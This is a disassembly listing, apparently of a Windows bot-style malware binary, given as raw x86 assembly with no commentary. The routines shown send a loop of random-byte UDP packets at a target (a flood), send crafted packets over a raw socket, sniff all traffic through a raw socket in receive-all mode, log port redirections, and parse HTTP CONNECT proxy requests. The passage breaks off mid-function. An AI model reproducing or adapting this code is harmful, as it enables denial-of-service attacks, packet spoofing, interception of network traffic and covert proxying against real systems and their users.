sub_4277C0	proc near		; CODE XREF: sub_401730j

var_36		= word ptr -36h
var_18		= byte ptr -18h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_FFBC	= dword	ptr  0FFC0h
arg_FFCC	= dword	ptr  0FFD0h
arg_FFDC	= dword	ptr  0FFE0h
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFF0h
		call	sub_436840
		push	esi
		push	11h
		push	2
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, [esp+10h+arg_FFE4]
		mov	[esp+10h+arg_0], eax
		xor	eax, eax
		push	esi
		mov	[esp+14h+var_C], eax
		mov	word ptr [esp+14h+var_C], 2
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], eax
		mov	[esp+14h], eax
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427821
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_42781A
		pop	esi
		add	esp, 0FFF0h
		retn
; ---------------------------------------------------------------------------


loc_42781A:				; CODE XREF: sub_4277C0+50j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_427821:				; CODE XREF: sub_4277C0+45j
		mov	esi, [esp+18h+arg_FFEC]
		push	ebx
		mov	ebx, dword_50FABC
		push	ebp
		test	esi, esi
		mov	[esp+20h+var_10], eax
		push	edi
		jnz	short loc_42785D
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+28h+var_16], ax
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_42788E
; ---------------------------------------------------------------------------


loc_42785D:				; CODE XREF: sub_4277C0+77j
		push	esi
		call	near ptr 71AB2B66h
		nop
		cmp	esi, 1
		mov	[esp+28h+var_16], ax
		jge	short loc_42787B
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_42788E
; ---------------------------------------------------------------------------


loc_42787B:				; CODE XREF: sub_4277C0+ACj
		cmp	esi, 0FFFFh
		jle	short loc_42788E
		mov	[esp+28h+arg_FFE8], 0FFFFh


loc_42788E:				; CODE XREF: sub_4277C0+9Bj
					; sub_4277C0+B9j ...
		mov	eax, [esp+28h+arg_FFE4]
		test	eax, eax
		jnz	short loc_4278A4
		mov	[esp+28h+arg_FFE4], 1


loc_4278A4:				; CODE XREF: sub_4277C0+D7j
		mov	ecx, [esp+28h+arg_FFDC]
		mov	eax, 66666667h
		imul	ecx
		mov	edi, [esp+28h+arg_FFE0]
		xor	esi, esi
		sar	edx, 2
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		test	edi, edi
		mov	ebp, edx
		jle	short loc_4278DE


loc_4278CB:				; CODE XREF: sub_4277C0+11Cj
		call	ebx	; rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, edi
		mov	byte ptr [esp+esi+28h+var_8+3],	dl
		jl	short loc_4278CB


loc_4278DE:				; CODE XREF: sub_4277C0+109j
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		mov	[esp+28h+arg_FFDC], ebp
		jle	loc_427970
		mov	ebp, dword_50FC5C


loc_4278F6:				; CODE XREF: sub_4277C0+1AEj
		mov	al, byte_4D64E9
		test	al, al
		jz	short loc_427970
		mov	esi, 0Bh


loc_427904:				; CODE XREF: sub_4277C0+177j
		lea	eax, [esp+28h+var_18]
		push	10h
		push	eax
		push	0
		call	ebx	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	eax, edi
		lea	ecx, [esp+34h+var_4]
		sub	eax, edx
		mov	edx, [esp+34h+var_8]
		push	eax
		push	ecx
		push	edx
		call	ebp	; sendto
		mov	eax, [esp+40h+arg_FFCC]
		push	eax
		nop
		call	near ptr 29B0000h
		dec	esi
		jnz	short loc_427904
		mov	eax, [esp+44h+arg_FFCC]
		test	eax, eax
		jnz	short loc_42795B
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+48h+var_36], ax


loc_42795B:				; CODE XREF: sub_4277C0+182j
		mov	eax, [esp+48h+arg_FFBC]
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	[esp+48h+arg_FFBC], eax
		jg	short loc_4278F6


loc_427970:				; CODE XREF: sub_4277C0+12Aj
					; sub_4277C0+13Dj
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 1
		pop	esi
		add	esp, 0FFF0h
		retn
sub_4277C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4279F0	proc near		; CODE XREF: sub_40207Cj

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		mov	ebx, [esp+14h+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+1Ch+arg_0]
		lea	eax, [ebx-14h]
		push	eax
		lea	ecx, [edi+28h]
		push	ecx
		call	sub_401A28
		mov	edx, [edi+10h]
		add	esp, 8
		mov	[edi+0Ah], ax
		mov	[esp+1Ch+var_10], 2
		push	1
		push	0
		push	0
		push	0FFh
		push	3
		push	2
		mov	[esp+34h+var_C], edx
		mov	[esp+34h+arg_4], 1
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_427A4D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_427A4D:				; CODE XREF: sub_4279F0+52j
		lea	eax, [esp+1Ch+arg_4]
		push	4
		push	eax
		push	2
		push	0
		push	esi
		call	near ptr 71AB3EA1h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427A6D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_427A6D:				; CODE XREF: sub_4279F0+72j
		lea	ecx, [esp+1Ch+var_10]
		push	10h
		push	ecx
		push	0
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 71AB2C69h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
sub_4279F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427AD0	proc near		; CODE XREF: sub_401D9Dj

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_28		= dword	ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= word ptr  14h
arg_12		= word ptr  16h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_25		= byte ptr  29h
arg_B8		= byte ptr  0BCh
arg_C1		= byte ptr  0C5h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_100C8	= dword	ptr  100CCh
arg_100D8	= dword	ptr  100DCh
arg_10128	= dword	ptr  1012Ch
arg_1012C	= dword	ptr  10130h
arg_10130	= dword	ptr  10134h

		mov	eax, 10128h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [esp+10h+arg_25]
		mov	[esp+10h+arg_24], 0
		rep stosd
		stosw
		mov	eax, [esp+10h+arg_10128]
		push	eax
		call	sub_40187F
		mov	ecx, [esp+14h+arg_1012C]
		mov	[esp+14h+arg_4], eax
		push	ecx
		call	sub_40187F
		mov	edi, [esp+18h+arg_10130]
		add	esp, 8
		xor	ebx, ebx
		mov	[esp+10h+arg_0], eax
		mov	[esp+10h+arg_10], 2
		mov	[esp+10h+arg_12], bx
		mov	[esp+10h+arg_14], ebx
		mov	esi, offset byte_446F60
		mov	eax, edi


loc_427B37:				; CODE XREF: sub_427AD0+85j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_427B5B
		test	cl, cl
		jz	short loc_427B57
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_427B5B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_427B37


loc_427B57:				; CODE XREF: sub_427AD0+71j
		xor	eax, eax
		jmp	short loc_427B60
; ---------------------------------------------------------------------------


loc_427B5B:				; CODE XREF: sub_427AD0+6Dj
					; sub_427AD0+7Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_427B60:				; CODE XREF: sub_427AD0+89j
		cmp	eax, ebx
		jnz	short loc_427BB3
		mov	ebp, dword_4D60F7
		cmp	ebp, ebx
		mov	[esp+10h], ebp
		jz	short loc_427B77
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_427BBE


loc_427B77:				; CODE XREF: sub_427AD0+A0j
		lea	eax, [esp+10h+arg_24]
		push	0FFh
		push	eax
		call	near ptr 71AB50C8h
		nop
		lea	ecx, [esp+18h+arg_1C]
		push	ecx
		call	near ptr 71AB4FD4h
		nop
		movsx	ecx, word ptr [eax+0Ah]
		mov	edx, [eax+0Ch]
		mov	eax, ecx
		lea	edi, [esp+1Ch+var_C]
		mov	esi, [edx]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ebp, [esp+1Ch+var_C]
		jmp	short loc_427BBE
; ---------------------------------------------------------------------------


loc_427BB3:				; CODE XREF: sub_427AD0+92j
		push	edi
		call	sub_40187F
		add	esp, 4
		mov	ebp, eax


loc_427BBE:				; CODE XREF: sub_427AD0+A5j
					; sub_427AD0+E1j
		cmp	ebp, ebx
		jz	short loc_427BC7
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_427BCD


loc_427BC7:				; CODE XREF: sub_427AD0+F0j
		mov	ebp, dword_4D60F7


loc_427BCD:				; CODE XREF: sub_427AD0+F5j
		mov	edi, 1
		mov	[esp+10h+arg_14], ebp
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	3
		push	2
		mov	[esp+28h+arg_8], edi
		call	near ptr 71AB8769h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_427D0D
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		lea	edx, [esp+3Ch+var_18]
		push	10h
		push	edx
		push	esi
		nop
		call	near ptr 71AB3E00h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		push	ebx
		lea	eax, [esp+4Ch+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_28]
		push	4
		push	ecx
		push	98000001h
		push	esi
		mov	[esp+6Ch+var_28], edi
		nop
		call	near ptr 71AB4489h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		mov	edx, [esp+6Ch+arg_100D8]
		cmp	byte ptr [edx],	0
		jz	loc_427CF3
		mov	ebx, dword_50FC90


loc_427C63:				; CODE XREF: sub_427AD0+21Dj
		mov	ecx, 3FFFh
		xor	eax, eax
		lea	edi, [esp+6Ch+arg_C8]
		push	0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+70h+arg_C8]
		push	0FFFFh
		push	eax
		push	esi
		call	ebx	; recv
		cmp	[esp+7Ch+arg_C1], 2Fh
		jnz	short loc_427CE3
		mov	ecx, [esp+7Ch+arg_C4]
		mov	edx, [esp+7Ch+var_64]
		cmp	ecx, edx
		jnz	short loc_427CBE
		mov	ecx, [esp+7Ch+var_68]
		lea	edx, [esp+7Ch+arg_B8]
		push	eax
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], ecx
		push	edx
		jmp	short loc_427CDB
; ---------------------------------------------------------------------------


loc_427CBE:				; CODE XREF: sub_427AD0+1CFj
		cmp	ecx, [esp+7Ch+var_68]
		jnz	short loc_427CE3
		push	eax
		lea	eax, [esp+80h+arg_B8]
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], edx
		push	eax


loc_427CDB:				; CODE XREF: sub_427AD0+1ECj
		call	sub_40207C
		add	esp, 8


loc_427CE3:				; CODE XREF: sub_427AD0+1C0j
					; sub_427AD0+1F2j
		mov	ecx, [esp+7Ch+arg_100C8]
		cmp	byte ptr [ecx],	0
		jnz	loc_427C63


loc_427CF3:				; CODE XREF: sub_427AD0+187j
		mov	edx, dword_50FA84
		add	edx, 20h
		push	edx
		nop
		call	near ptr 77C3EEF6h
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h


loc_427D0D:				; CODE XREF: sub_427AD0+11Dj
					; sub_427AD0+137j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10128h
		retn
sub_427AD0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427DC0	proc near		; CODE XREF: sub_401889j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427DC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset off_444F30
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E12C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427DC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427E30	proc near		; CODE XREF: sub_401F82j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427E30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+82h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E13C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427E30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427EF0	proc near		; CODE XREF: sub_40179Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427EF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E13C
		lea	ecx, [esi+82h]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427EF0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427FC0:				; CODE XREF: ___:00401A14j
					; ___:loc_402068j
		push	esi
		mov	esi, ecx
		call	sub_40179E
		test	byte ptr [esp+8], 1
		jz	short loc_427FD8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427FD8:				; CODE XREF: ___:00427FCDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427FF0	proc near		; CODE XREF: ___:00401096j sub_401C2Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4015F5
		test	[esp+4+arg_0], 1
		jz	short loc_428008
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428008:				; CODE XREF: sub_427FF0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427FF0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428020	proc near		; CODE XREF: sub_4015F5j
		jmp	sub_40179E
sub_428020	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428040	proc near		; CODE XREF: sub_4015AFj
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+82h]
		lea	ebx, [esi+58h]
		mov	ecx, edi
		lea	ebp, [esi+6Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSStartedRedire ; "[%s] Started redirect	from \"%s\" to \"%s\""...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		mov	edx, [esi+99h]
		add	esp, 24h
		add	edx, 11Ch
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	sub_401D9D
		add	esp, 10h
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSFinishedRedir ; "[%s] Finished	redirect from \"%s\" to	\"%s"...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_428040	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428160	proc near		; CODE XREF: sub_401884j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428160
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	[esp+2Ch+var_28], esi
		call	sub_401F82
		lea	ecx, [esi+0A1h]
		mov	[esp+2Ch+var_4], 0
		call	sub_401424
		push	0
		push	2Ah
		push	2Eh
		push	2Eh
		lea	eax, [esp+3Ch+var_24]
		push	22h
		push	eax
		mov	byte ptr [esp+44h+var_4], 1
		mov	dword ptr [esi], offset	off_43E14C
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+var_4], 2
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4015D7
		lea	ecx, [esp+2Ch+var_24]
		mov	byte ptr [esp+2Ch+var_4], 1
		call	sub_401226
		mov	ecx, [esp+2Ch+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_428160	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428220	proc near		; CODE XREF: ___:00401E15j sub_4021B2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BD1
		test	[esp+4+arg_0], 1
		jz	short loc_428238
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428238:				; CODE XREF: sub_428220+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_428220	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428250	proc near		; CODE XREF: sub_401BD1j
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, dword_50FC88
		mov	eax, [esi+0BFh]
		mov	dword ptr [esi], offset	off_43E14C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42826E
		push	eax
		call	edi	; closesocket


loc_42826E:				; CODE XREF: sub_428250+19j
		mov	eax, [esi+0BBh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42827C
		push	eax
		call	edi	; closesocket


loc_42827C:				; CODE XREF: sub_428250+27j
		lea	ecx, [esi+0A1h]
		call	sub_401226
		mov	ecx, esi
		call	sub_40179E
		pop	edi
		pop	esi
		retn
sub_428250	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4282C0	proc near		; CODE XREF: sub_401D2Aj

var_B0		= byte ptr -0B0h
var_AA		= byte ptr -0AAh
var_A8		= byte ptr -0A8h
var_A7		= byte ptr -0A7h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_5C		= byte ptr -5Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_3C		= byte ptr -3Ch
var_34		= byte ptr -34h
var_2C		= dword	ptr -2Ch
var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_C		= byte ptr -0Ch
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_C		= byte ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_24		= byte ptr  28h
arg_28		= byte ptr  2Ch
arg_34		= byte ptr  38h
arg_3C		= byte ptr  40h
arg_40		= byte ptr  44h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_4A		= word ptr  4Eh
arg_4C		= dword	ptr  50h
arg_50		= dword	ptr  54h
arg_54		= dword	ptr  58h
arg_58		= dword	ptr  5Ch
arg_64		= byte ptr  68h
arg_68		= byte ptr  6Ch
arg_6C		= byte ptr  70h
arg_91		= byte ptr  95h
arg_98		= byte ptr  9Ch
arg_9D		= byte ptr  0A1h
arg_AD		= byte ptr  0B1h
arg_D0		= dword	ptr  0D4h
arg_D4		= byte ptr  0D8h
arg_E0		= dword	ptr  0E4h
arg_E4		= byte ptr  0E8h
arg_EC		= dword	ptr  0F0h
arg_F0		= byte ptr  0F4h
arg_FC		= byte ptr  100h
arg_108		= byte ptr  10Ch
arg_12C		= byte ptr  130h
arg_150		= byte ptr  154h
arg_15C		= byte ptr  160h
arg_180		= byte ptr  184h
arg_18C		= byte ptr  190h
arg_1A4		= byte ptr  1A8h
arg_1B0		= byte ptr  1B4h
arg_1F8		= byte ptr  1FCh
arg_210		= byte ptr  214h
arg_228		= byte ptr  22Ch
arg_230		= byte ptr  234h
arg_240		= byte ptr  244h
arg_244		= dword	ptr  248h
arg_248		= dword	ptr  24Ch
arg_24C		= dword	ptr  250h
arg_258		= byte ptr  25Ch
arg_374		= byte ptr  378h
arg_3EC		= byte ptr  3F0h
arg_3FC		= byte ptr  400h
arg_40C		= byte ptr  410h
arg_41C		= byte ptr  420h
arg_42C		= byte ptr  430h
arg_43C		= byte ptr  440h
arg_44C		= byte ptr  450h
arg_45C		= byte ptr  460h
arg_478		= byte ptr  47Ch
arg_4478	= byte ptr  447Ch
arg_53D0	= dword	ptr  53D4h
arg_53E0	= dword	ptr  53E4h
arg_5434	= byte ptr  5438h
arg_5444	= byte ptr  5448h
arg_544C	= dword	ptr  5450h
arg_5454	= dword	ptr  5458h
arg_5480	= dword	ptr  5484h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43BA92
		push	eax
		mov	eax, 5488h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	ebp, ecx
		or	esi, 0FFFFFFFFh
		push	edi
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+11h], 0
		mov	[esp+1Ch+var_A], 0


loc_4282F8:				; CODE XREF: sub_4282C0+FC6j
		lea	ecx, [esp+1Ch+arg_98]
		call	sub_401B36
		lea	ecx, [esp+1Ch+var_8]
		mov	[esp+1Ch+arg_5480], 0
		mov	[esp+1Ch+var_9], 0
		call	sub_401424
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+20h+arg_374]
		push	104h
		push	eax
		push	ecx
		mov	byte ptr [esp+2Ch+arg_5480], 1
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_429310
		lea	edx, [esp+1Ch+arg_374]
		lea	ecx, [esp+1Ch+arg_10]
		push	edx
		call	sub_401861
		push	offset byte_446F60
		lea	ecx, [esp+20h+arg_10]
		mov	byte ptr [esp+20h+arg_5480], 2
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4283B0
		lea	ecx, [esp+1Ch+arg_10]
		mov	byte ptr [esp+1Ch+arg_5480], 1
		call	sub_401226
		lea	ecx, [esp+1Ch+var_8]
		mov	byte ptr [esp+1Ch+arg_5480], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_98]
		mov	[esp+1Ch+arg_5480], esi
		call	sub_4014B0
		jmp	loc_429280
; ---------------------------------------------------------------------------


loc_4283B0:				; CODE XREF: sub_4282C0+B4j
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_210]
		push	0
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset off_445248
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_5480], 3
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_210]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428475
		push	offset asc_443600 ; " "
		lea	ecx, [esp+20h+arg_1F8]
		push	1
		push	ecx
		lea	ecx, [esp+28h+arg_10]
		mov	[esp+28h+var_9], 1
		call	sub_4016AE
		lea	edx, [esp+1Ch+arg_98]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+20h+arg_5480], 4
		call	sub_4017E4
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+1Ch+arg_1F8]
		test	al, al
		setz	bl
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_4292FF
		push	offset aHttp	; "http"
		lea	ecx, [esp+20h+arg_98]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4292FF
		jmp	loc_42866A
; ---------------------------------------------------------------------------


loc_428475:				; CODE XREF: sub_4282C0+137j
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_228]
		push	0
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset aConnect_0 ; "CONNECT"
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_5480], 5
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_228]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	loc_42866A
		push	offset aConnect	; "connect"
		lea	ecx, [esp+20h+arg_98]
		mov	[esp+20h+var_9], 0
		call	sub_4015D7
		push	offset byte_446F60
		lea	ecx, [esp+20h+arg_F0]
		call	sub_4015D7
		push	offset asc_443600 ; " "
		lea	ecx, [esp+20h+arg_108]
		push	1
		push	ecx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+20h+arg_150]
		push	0
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 6
		call	sub_4016AE
		push	eax
		lea	ecx, [esp+20h+arg_AD]
		mov	byte ptr [esp+20h+arg_5480], 7
		call	sub_401FBE
		lea	ecx, [esp+1Ch+arg_150]
		mov	byte ptr [esp+1Ch+arg_5480], 6
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_108]
